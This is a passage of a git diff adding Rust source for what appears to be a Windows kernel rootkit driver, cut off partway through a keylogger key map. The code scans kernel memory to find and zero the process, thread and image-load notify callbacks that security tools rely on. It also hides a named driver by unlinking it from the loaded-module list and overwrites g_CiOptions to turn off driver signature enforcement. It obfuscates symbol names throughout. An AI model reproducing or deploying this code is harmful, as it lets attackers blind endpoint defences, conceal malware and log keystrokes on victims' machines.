||||||
|
// e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8)
|
||||||
|
let call_address = function_address.cast::<u8>().offset(y as isize);
|
||||||
|
// 4883c428 add rsp,28h
|
||||||
|
let next_address = call_address.cast::<u8>().offset(5);
|
||||||
|
let psp_set_create_process = next_address.offset(new_offset as isize);
|
||||||
|
|
||||||
|
let function_bytes = core::slice::from_raw_parts(psp_set_create_process, 0x98);
|
||||||
|
|
||||||
|
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
|
||||||
|
let instructions = [0x4C, 0x8D, 0x2D];
|
||||||
|
|
||||||
|
if let Some(x) = function_bytes.windows(instructions.len()).position(|y| *y == instructions) {
|
||||||
|
let position = x + 3;
|
||||||
|
let new_offset = function_bytes[position..position + 4]
|
||||||
|
.try_into()
|
||||||
|
.map(u32::from_le_bytes)
|
||||||
|
.expect("Slice length is not 4, cannot convert");
|
||||||
|
|
||||||
|
// 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)]
|
||||||
|
let lea_address = psp_set_create_process.cast::<u8>().offset(x as isize);
|
||||||
|
// 488d0cdd00000000 lea rcx,[rbx*8]
|
||||||
|
let next_address = lea_address.offset(7);
|
||||||
|
let psp_set_create_process = next_address.offset(new_offset as isize);
|
||||||
|
|
||||||
|
return Some(psp_set_create_process)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
||||||
|
///
|
||||||
|
unsafe fn find_ps_create_thread() -> Option<*mut u8> {
|
||||||
|
let mut name = utils::uni::str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode();
|
||||||
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
|
|
||||||
|
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
|
||||||
|
|
||||||
|
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
|
||||||
|
let instructions = [0x48, 0x8D, 0x0D];
|
||||||
|
|
||||||
|
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
|
||||||
|
let position = x + 3;
|
||||||
|
let new_offset = function_bytes[position..position + 4]
|
||||||
|
.try_into()
|
||||||
|
.map(u32::from_le_bytes)
|
||||||
|
.expect("Slice length is not 4, cannot convert");
|
||||||
|
|
||||||
|
// 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)]
|
||||||
|
let lea_address = function_address.cast::<u8>().offset(x as isize);
|
||||||
|
// 488d2cf9 lea rbp,[rcx+rdi*8]
|
||||||
|
let next_address = lea_address.offset(7);
|
||||||
|
let psp_set_create_thread = next_address.offset(new_offset as isize);
|
||||||
|
|
||||||
|
return Some(psp_set_create_thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
||||||
|
///
|
||||||
|
unsafe fn find_ps_load_image() -> Option<*mut u8> {
|
||||||
|
let mut name = utils::uni::str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode();
|
||||||
|
let function_address = MmGetSystemRoutineAddress(&mut name);
|
||||||
|
|
||||||
|
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50);
|
||||||
|
|
||||||
|
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
|
||||||
|
let instructions = [0x48, 0x8D, 0x0D];
|
||||||
|
|
||||||
|
if let Some(x) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
|
||||||
|
let position = x + 3;
|
||||||
|
let offset = &function_bytes[position..position + 4];
|
||||||
|
let new_offset = function_bytes[position..position + 4]
|
||||||
|
.try_into()
|
||||||
|
.map(u32::from_le_bytes)
|
||||||
|
.expect("Slice length is not 4, cannot convert");
|
||||||
|
|
||||||
|
// 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)]
|
||||||
|
let lea_address = function_address.cast::<u8>().offset(x as isize);
|
||||||
|
// 488d2cf9 lea rbp,[rcx+rdi*8]
|
||||||
|
let next_address = lea_address.offset(7);
|
||||||
|
let psp_load_image = next_address.offset(new_offset as isize);
|
||||||
|
|
||||||
|
return Some(psp_load_image);
|
||||||
|
}
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Finds the type of the callback and calls the function responsible for it
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `callback`: target callback that will be called.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise.
|
||||||
|
///
|
||||||
|
pub unsafe fn find_callback_address(callback: &Callbacks) -> Option<*mut u8> {
|
||||||
|
match callback {
|
||||||
|
Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process(),
|
||||||
|
Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread(),
|
||||||
|
Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image(),
|
||||||
|
}
|
||||||
|
}
|
||||||
167
driver/src/callbacks/mod.rs
Normal file
167
driver/src/callbacks/mod.rs
Normal file
@@ -0,0 +1,167 @@
|
|||||||
|
use {
|
||||||
|
obfstr::obfstr,
|
||||||
|
alloc::vec::Vec,
|
||||||
|
crate::utils::uni,
|
||||||
|
find_callback::find_callback_address,
|
||||||
|
spin::{Mutex, lazy::Lazy},
|
||||||
|
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||||
|
shared::structs::{CallbackInfoInput, CallbackInfoOutput, CallbackRestaure},
|
||||||
|
wdk_sys::{ntddk::MmGetSystemRoutineAddress, NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL}
|
||||||
|
};
|
||||||
|
|
||||||
|
mod find_callback;
|
||||||
|
|
||||||
|
/// Variable that stores callbacks that have been removed
|
||||||
|
static mut INFO_CALLBACK_RESTAURE: Lazy<Mutex<Vec<CallbackRestaure>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40)));
|
||||||
|
|
||||||
|
/// Structure representing the Callback.
|
||||||
|
pub struct Callback;
|
||||||
|
|
||||||
|
impl Callback {
|
||||||
|
/// Restore a callback from the specified routine.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `target_callback`: Pointer to the callback information input.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||||
|
///
|
||||||
|
pub unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
||||||
|
let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
|
||||||
|
let callback_type = (*target_callback).callback;
|
||||||
|
let index = (*target_callback).index;
|
||||||
|
|
||||||
|
if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) {
|
||||||
|
let address = match find_callback_address(&(*target_callback).callback) {
|
||||||
|
Some(addr) => addr,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
let addr = address.offset((callback_info[index].index * 8) as isize);
|
||||||
|
*(addr as *mut u64) = callback_info[index].address;
|
||||||
|
callback_info.remove(index);
|
||||||
|
} else {
|
||||||
|
log::error!("Callback not found for type {:?} at index {}", callback_type, index);
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes a callback from the specified routine.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `target_callback`: Pointer to the callback information input.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||||
|
///
|
||||||
|
pub unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS {
|
||||||
|
let address = match find_callback_address(&(*target_callback).callback) {
|
||||||
|
Some(addr) => addr,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
let index = (*target_callback).index as isize;
|
||||||
|
|
||||||
|
let addr = address.offset(index * 8);
|
||||||
|
let callback_restaure = CallbackRestaure {
|
||||||
|
index: (*target_callback).index,
|
||||||
|
callback: (*target_callback).callback,
|
||||||
|
address: *(addr as *mut u64)
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut callback_info = INFO_CALLBACK_RESTAURE.lock();
|
||||||
|
callback_info.push(callback_restaure);
|
||||||
|
|
||||||
|
*(addr as *mut u64) = 0;
|
||||||
|
|
||||||
|
log::info!("Callback removed at index {}", index);
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Searches for a module associated with a callback and updates callback information.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `target_callback`: Pointer to the callback information input.
|
||||||
|
/// - `callback_info`: Pointer to the callback information output.
|
||||||
|
/// - `information`: Pointer to a variable to store information size.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise.
|
||||||
|
///
|
||||||
|
pub unsafe fn search_module(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS {
|
||||||
|
let address = match find_callback_address(&(*target_callback).callback) {
|
||||||
|
Some(addr) => addr,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||||
|
let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
if func.is_null() {
|
||||||
|
log::error!("PsLoadedModuleList is null");
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut list_entry = (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
let mut module_count = 0;
|
||||||
|
|
||||||
|
let start_entry = list_entry;
|
||||||
|
while !list_entry.is_null() && list_entry != func {
|
||||||
|
module_count += 1;
|
||||||
|
list_entry = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
log::info!("Number of loaded modules: {}", module_count);
|
||||||
|
|
||||||
|
list_entry = start_entry;
|
||||||
|
|
||||||
|
for i in 0..64 {
|
||||||
|
let addr = address.cast::<u8>().offset(i * 8);
|
||||||
|
let callback = *(addr as *const u64);
|
||||||
|
|
||||||
|
if callback == 0 {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Iterate over the loaded modules
|
||||||
|
for _ in 0..module_count {
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*list_entry).BaseDllName.Buffer,
|
||||||
|
((*list_entry).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
let start_address = (*list_entry).DllBase;
|
||||||
|
let image_size = (*list_entry).SizeOfImage;
|
||||||
|
let end_address = start_address as u64 + image_size as u64;
|
||||||
|
let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64);
|
||||||
|
|
||||||
|
if raw_pointer > start_address as u64 && raw_pointer < end_address {
|
||||||
|
// Module name
|
||||||
|
let name = &mut (*callback_info.offset(i)).name[..buffer.len()];
|
||||||
|
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||||
|
|
||||||
|
// Module address
|
||||||
|
(*callback_info.offset(i)).address = callback as usize;
|
||||||
|
|
||||||
|
// Module index
|
||||||
|
(*callback_info.offset(i)).index = i as u8;
|
||||||
|
|
||||||
|
*information += core::mem::size_of::<CallbackInfoOutput>();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Go to the next module in the list
|
||||||
|
list_entry = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset list_entry for next callback
|
||||||
|
list_entry = start_entry;
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
258
driver/src/driver/mod.rs
Normal file
258
driver/src/driver/mod.rs
Normal file
@@ -0,0 +1,258 @@
|
|||||||
|
use {
|
||||||
|
obfstr::obfstr,
|
||||||
|
spin::{mutex::Mutex, lazy::Lazy},
|
||||||
|
ntapi::ntldr::LDR_DATA_TABLE_ENTRY,
|
||||||
|
core::sync::atomic::{AtomicPtr, Ordering},
|
||||||
|
alloc::{string::String, vec::Vec, boxed::Box},
|
||||||
|
crate::utils::{get_function_address, get_module_base_address, uni},
|
||||||
|
shared::{
|
||||||
|
structs::{
|
||||||
|
DriverInfo, DSE, HiddenDriverInfo, LIST_ENTRY,
|
||||||
|
TargetDriver
|
||||||
|
},
|
||||||
|
vars::MAX_DRIVER
|
||||||
|
},
|
||||||
|
wdk_sys::{
|
||||||
|
ntddk::MmGetSystemRoutineAddress, STATUS_INVALID_PARAMETER,
|
||||||
|
NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// List of target drivers protected by a mutex.
|
||||||
|
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<HiddenDriverInfo>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
||||||
|
|
||||||
|
pub struct Driver;
|
||||||
|
|
||||||
|
impl Driver {
|
||||||
|
/// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `process`: A pointer to the `TargetProcess` structure.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn driver_toggle(driver: *mut TargetDriver) -> NTSTATUS {
|
||||||
|
let name = &(*driver).name;
|
||||||
|
let status = if (*driver).enable {
|
||||||
|
Self::hide_driver(name)
|
||||||
|
} else {
|
||||||
|
Self::unhide_driver(name)
|
||||||
|
};
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Hides the driver by unlinking it from the loaded module list.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `device`: A pointer to the `DEVICE_OBJECT` representing the driver to be hidden.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
||||||
|
///
|
||||||
|
unsafe fn hide_driver(driver_name: &String) -> NTSTATUS {
|
||||||
|
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||||
|
let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
if func.is_null() {
|
||||||
|
log::error!("PsLoadedModuleList is null");
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
let current = func as *mut LIST_ENTRY;
|
||||||
|
let mut next = (*func).InLoadOrderLinks.Flink as *mut LIST_ENTRY;
|
||||||
|
|
||||||
|
while next != current {
|
||||||
|
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*list_entry).BaseDllName.Buffer,
|
||||||
|
((*list_entry).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
let name = String::from_utf16_lossy(buffer);
|
||||||
|
if name.contains(driver_name) {
|
||||||
|
log::info!("Driver found: {name}");
|
||||||
|
let next = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
let previous = (*list_entry).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
let list = LIST_ENTRY {
|
||||||
|
Flink: next as *mut LIST_ENTRY,
|
||||||
|
Blink: previous as *mut LIST_ENTRY,
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
||||||
|
let list_ptr = Box::into_raw(Box::new(list));
|
||||||
|
let driver_entry = Box::into_raw(Box::new(*list_entry));
|
||||||
|
log::info!("Stored list entry at: {:?}", list_ptr);
|
||||||
|
|
||||||
|
driver_info.push(HiddenDriverInfo {
|
||||||
|
name,
|
||||||
|
list_entry: AtomicPtr::new(list_ptr),
|
||||||
|
driver_entry: AtomicPtr::new(driver_entry)
|
||||||
|
});
|
||||||
|
|
||||||
|
(*next).InLoadOrderLinks.Blink = previous as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
(*previous).InLoadOrderLinks.Flink = next as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
|
||||||
|
(*list_entry).InLoadOrderLinks.Flink = list_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
(*list_entry).InLoadOrderLinks.Blink = list_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
next = (*next).Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Hides the driver by unlinking it from the loaded module list.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `device`: A pointer to the `DEVICE_OBJECT` representing the driver to be hidden.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
||||||
|
///
|
||||||
|
unsafe fn unhide_driver(driver_name: &String) -> NTSTATUS {
|
||||||
|
let mut driver_info = DRIVER_INFO_HIDE.lock();
|
||||||
|
if let Some(index) = driver_info.iter().position(|p| p.name == driver_name.as_str()) {
|
||||||
|
let driver = &driver_info[index];
|
||||||
|
let list = driver.list_entry.load(Ordering::SeqCst);
|
||||||
|
let driver_entry = driver.driver_entry.load(Ordering::SeqCst);
|
||||||
|
if list.is_null() {
|
||||||
|
log::error!("List entry stored in AtomicPtr is null");
|
||||||
|
return STATUS_INVALID_PARAMETER;
|
||||||
|
}
|
||||||
|
|
||||||
|
(*driver_entry).InLoadOrderLinks.Flink = (*list).Flink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
(*driver_entry).InLoadOrderLinks.Blink = (*list).Blink as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
|
||||||
|
let next = (*driver_entry).InLoadOrderLinks.Flink; // Driver (3)
|
||||||
|
let previous = (*driver_entry).InLoadOrderLinks.Blink; // Driver (1)
|
||||||
|
|
||||||
|
(*next).Blink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
(*previous).Flink = driver_entry as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
|
||||||
|
driver_info.remove(index);
|
||||||
|
} else {
|
||||||
|
log::info!("Driver ({driver_name}) Not found");
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates loaded drivers and stores the information in the provided buffer.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `driver_info`: A pointer to a buffer where `DriverInfo` structures will be stored.
|
||||||
|
/// - `information`: A mutable reference to a `usize` that will store the total size of the information written.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn enumerate_driver(driver_info: *mut DriverInfo, information: &mut usize) -> NTSTATUS {
|
||||||
|
log::info!("Starting module enumeration");
|
||||||
|
|
||||||
|
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
|
||||||
|
let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
if func.is_null() {
|
||||||
|
log::error!("PsLoadedModuleList is null");
|
||||||
|
return STATUS_UNSUCCESSFUL;
|
||||||
|
}
|
||||||
|
|
||||||
|
let current = func as *mut winapi::shared::ntdef::LIST_ENTRY;
|
||||||
|
let mut next = (*func).InLoadOrderLinks.Flink;
|
||||||
|
let mut count = 0;
|
||||||
|
|
||||||
|
while next != current {
|
||||||
|
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
|
||||||
|
let buffer = core::slice::from_raw_parts(
|
||||||
|
(*list_entry).BaseDllName.Buffer,
|
||||||
|
((*list_entry).BaseDllName.Length / 2) as usize,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Driver name
|
||||||
|
let name = (*driver_info.offset(count)).name.as_mut();
|
||||||
|
core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len());
|
||||||
|
|
||||||
|
// Driver address
|
||||||
|
(*driver_info.offset(count)).address = (*list_entry).DllBase as usize;
|
||||||
|
|
||||||
|
// Driver index
|
||||||
|
(*driver_info.offset(count)).index = count as u8;
|
||||||
|
|
||||||
|
*information += core::mem::size_of::<DriverInfo>();
|
||||||
|
count += 1;
|
||||||
|
|
||||||
|
next = (*next).Flink;
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Sets the DSE (Driver Signature Enforcement) status based on the information provided.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `info_dse`: A pointer to the `DSE` structure containing information about the state of the DSE.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe fn set_dse_state(info_dse: *mut DSE) -> NTSTATUS {
|
||||||
|
let module_address = match get_module_base_address(obfstr!("CI.dll")) {
|
||||||
|
Some(addr) => addr,
|
||||||
|
None => return STATUS_UNSUCCESSFUL
|
||||||
|
};
|
||||||
|
let function_address = match get_function_address(obfstr!("CiInitialize"), module_address) {
|
||||||
|
Some(addr) => addr,
|
||||||
|
None => return STATUS_UNSUCCESSFUL,
|
||||||
|
};
|
||||||
|
|
||||||
|
log::info!("function_address: {:?}", function_address);
|
||||||
|
|
||||||
|
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x89);
|
||||||
|
|
||||||
|
// mov ecx,ebp
|
||||||
|
let instructions = [0x8B, 0xCD];
|
||||||
|
|
||||||
|
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
|
||||||
|
let position = y + 3;
|
||||||
|
let offset = function_bytes[position..position + 4]
|
||||||
|
.try_into()
|
||||||
|
.map(u32::from_le_bytes)
|
||||||
|
.expect("Slice length is not 4, cannot convert");
|
||||||
|
|
||||||
|
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
||||||
|
let c_ip_initialize = new_base.cast::<u8>().offset(offset as isize);
|
||||||
|
log::info!("c_ip_initialize: {:?}", c_ip_initialize);
|
||||||
|
|
||||||
|
// mov rbp,r9
|
||||||
|
let instructions = [0x49, 0x8b, 0xE9];
|
||||||
|
|
||||||
|
let c_ip_initialize_slice = core::slice::from_raw_parts(c_ip_initialize as *const u8, 0x21);
|
||||||
|
|
||||||
|
if let Some(i) = c_ip_initialize_slice.windows(instructions.len()).position(|windows| *windows == instructions) {
|
||||||
|
let position = i + 5;
|
||||||
|
let offset = c_ip_initialize_slice[position..position + 4]
|
||||||
|
.try_into()
|
||||||
|
.map(u32::from_le_bytes)
|
||||||
|
.expect("Slice length is not 4, cannot convert");
|
||||||
|
|
||||||
|
let new_offset = 0xffffffff00000000 + offset as u64;
|
||||||
|
let new_base = c_ip_initialize.cast::<u8>().offset((position + 4) as isize);
|
||||||
|
let g_ci_options = new_base.cast::<u8>().offset(new_offset as isize);
|
||||||
|
|
||||||
|
if (*info_dse).enable {
|
||||||
|
*(g_ci_options as *mut u64) = 0x0006 as u64;
|
||||||
|
} else {
|
||||||
|
*(g_ci_options as *mut u64) = 0x000E as u64;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
86
driver/src/includes/mod.rs
Normal file
86
driver/src/includes/mod.rs
Normal file
@@ -0,0 +1,86 @@
|
|||||||
|
#![allow(non_camel_case_types)]
|
||||||
|
#![allow(dead_code)]
|
||||||
|
|
||||||
|
use {
|
||||||
|
bitfield::bitfield,
|
||||||
|
wdk_sys::{
|
||||||
|
ACCESS_MASK, KPROCESSOR_MODE, NTSTATUS, PACCESS_STATE, PCUNICODE_STRING,
|
||||||
|
PEPROCESS, POBJECT_TYPE, PPEB, PSIZE_T, PUNICODE_STRING,
|
||||||
|
PVOID, SIZE_T, _DRIVER_OBJECT, KIRQL, PKIRQL
|
||||||
|
},
|
||||||
|
winapi::ctypes::c_void
|
||||||
|
};
|
||||||
|
|
||||||
|
bitfield! {
|
||||||
|
pub struct PS_PROTECTION(u8);
|
||||||
|
pub u8, type_, set_type_: 2, 0; // 3 bits
|
||||||
|
pub u8, audit, set_audit: 3; // 1 bit
|
||||||
|
pub u8, signer, set_signer: 7, 4; // 4 bits
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct PROCESS_SIGNATURE {
|
||||||
|
pub signature_level: u8,
|
||||||
|
pub section_seginature_level: u8,
|
||||||
|
pub protection: PS_PROTECTION,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub type DRIVER_INITIALIZE = core::option::Option<
|
||||||
|
unsafe extern "system" fn(
|
||||||
|
DriverObject: &mut _DRIVER_OBJECT,
|
||||||
|
RegistryPath: PCUNICODE_STRING,
|
||||||
|
) -> NTSTATUS,
|
||||||
|
>;
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Clone, Copy)]
|
||||||
|
pub struct SystemModule {
|
||||||
|
pub section: *mut c_void,
|
||||||
|
pub mapped_base: *mut c_void,
|
||||||
|
pub image_base: *mut c_void,
|
||||||
|
pub size: u32,
|
||||||
|
pub flags: u32,
|
||||||
|
pub index: u8,
|
||||||
|
pub name_length: u8,
|
||||||
|
pub load_count: u8,
|
||||||
|
pub path_length: u8,
|
||||||
|
pub image_name: [u8; 256],
|
||||||
|
}
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Debug, Clone, Copy)]
|
||||||
|
pub struct SystemModuleInformation {
|
||||||
|
pub modules_count: u32,
|
||||||
|
pub modules: [SystemModule; 256],
|
||||||
|
}
|
||||||
|
|
||||||
|
extern "system" {
|
||||||
|
pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB;
|
||||||
|
|
||||||
|
pub fn IoCreateDriver(
|
||||||
|
driver_name: PUNICODE_STRING,
|
||||||
|
driver_initialize: DRIVER_INITIALIZE,
|
||||||
|
) -> NTSTATUS;
|
||||||
|
|
||||||
|
pub fn MmCopyVirtualMemory(
|
||||||
|
source_process: PEPROCESS,
|
||||||
|
source_address: PVOID,
|
||||||
|
target_process: PEPROCESS,
|
||||||
|
target_address: PVOID,
|
||||||
|
buffer_size: SIZE_T,
|
||||||
|
previous_mode: KPROCESSOR_MODE,
|
||||||
|
return_size: PSIZE_T,
|
||||||
|
);
|
||||||
|
|
||||||
|
pub fn ObReferenceObjectByName(
|
||||||
|
object_name: PUNICODE_STRING,
|
||||||
|
attributes: u32,
|
||||||
|
access_state: PACCESS_STATE,
|
||||||
|
desired_access: ACCESS_MASK,
|
||||||
|
object_type: POBJECT_TYPE,
|
||||||
|
access_mode: KPROCESSOR_MODE,
|
||||||
|
parse_context: PVOID,
|
||||||
|
object: *mut PVOID,
|
||||||
|
);
|
||||||
|
|
||||||
|
pub fn KeRaiseIrql(new_irql: KIRQL, old_irql: PKIRQL);
|
||||||
|
}
|
||||||
156
driver/src/keylogger/keys.rs
Normal file
156
driver/src/keylogger/keys.rs
Normal file
@@ -0,0 +1,156 @@
|
|||||||
|
/// Mapping virtual key codes to characters.
|
||||||
|
pub const VK_CHARS: [(u8, &'static str); 153] = [
|
||||||
|
(0x01, "LEFT MOUSE BUTTON"),
|
||||||
|
(0x02, "RIGTH MOUSE BUTTON"),
|
||||||
|
(0x03, "CANCEL"),
|
||||||
|
(0x04, "MIDDLE MOUSE BUTTON"),
|
||||||
|
(0x05, "X1 MOUSE BUTTON"),
|
||||||
|
(0x06, "X2 MOUSE BUTTON"),
|
||||||
|
(0x08, "BACKSPACE"),
|
||||||
|
(0x09, "TAB"),
|
||||||
|
(0x0C, "CLEAR"),
|
||||||
|
